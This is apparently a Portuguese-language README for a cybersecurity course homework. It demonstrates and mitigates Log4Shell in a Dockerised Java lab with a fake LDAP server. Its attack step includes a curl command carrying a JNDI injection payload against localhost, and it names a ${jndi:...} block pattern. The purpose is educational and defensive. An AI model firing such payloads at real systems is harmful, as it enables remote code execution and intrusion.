Trabalho de Casa 9 – Protegendo Sistemas Contra Explorações Log4Shell

Visão Geral

Este projeto demonstra a exploração e mitigação da vulnerabilidade Log4Shell (CVE-2021-44228) usando uma aplicação web Java em Docker com Log4j 2.14.1 vulnerável. A configuração também inclui um servidor LDAP malicioso simulado para demonstrar o caminho de ataque de injeção JNDI.

Após a exploração, o sistema é fortalecido atualizando o Log4j, validando a entrada e aplicando as recomendações MITRE D3FEND e ATT&CK.

Estrutura de Pastas

log4shell-homework9/
├── docker-compose.yml
├── Dockerfile
├── pom.xml
├── ldap_server.py
├── src/...
├── architecture_diagram.png
├── README.md
├── mitigation_report.pdf

Como Executar

1. Construir a Aplicação Java (com Log4j vulnerável)

docker build -t vulnerable-app .

2. Executar a Aplicação com Docker Compose

docker-compose up

A aplicação estará disponível em:
http://localhost:8080

3. Iniciar o Servidor LDAP Falso (em um novo terminal)

python3 ldap_server.py

4. Simular um Ataque

Envie uma requisição como esta para a aplicação:

curl http://localhost:8080?input=${jndi:ldap://localhost:8000/Exploit}

O servidor LDAP deve receber a requisição (isso simula o ataque JNDI).

Como foi Fortalecido

Após demonstrar o ataque, o sistema foi protegido por:

• Atualizar o Log4j para a versão 2.17.0
• Validação de entrada (bloqueando padrões ${jndi:...})
• Desabilitar lookups de mensagens na configuração
• Isolamento Docker para limitar o escopo
• Técnicas MITRE D3FEND e ATT&CK aplicadas

Mapeamento MITRE

MITRE ATT&CK:

• T1190: Exploração de Aplicação Exposta ao Público
• T1210: Exploração de Serviços Remotos

MITRE D3FEND:

• D3-IA: Validação de Entrada
• D3-HI: Detecção de Intrusão Baseada em Host
• D3-DA: Desabilitar Funcionalidades Inseguras

Relatório

Veja mitigation_report.pdf para:

• Arquitetura do sistema antes/depois
• Explicação do Log4Shell
• Estratégia de mitigação
• Plano de resposta a incidentes

Gravação de Tela

Se o vídeo não for enviado diretamente, ele está disponível no link do relatório.

Autor

Serpil Rivas
SEAS 8405 – Arquiteturas de Cibersegurança
Maio de 2025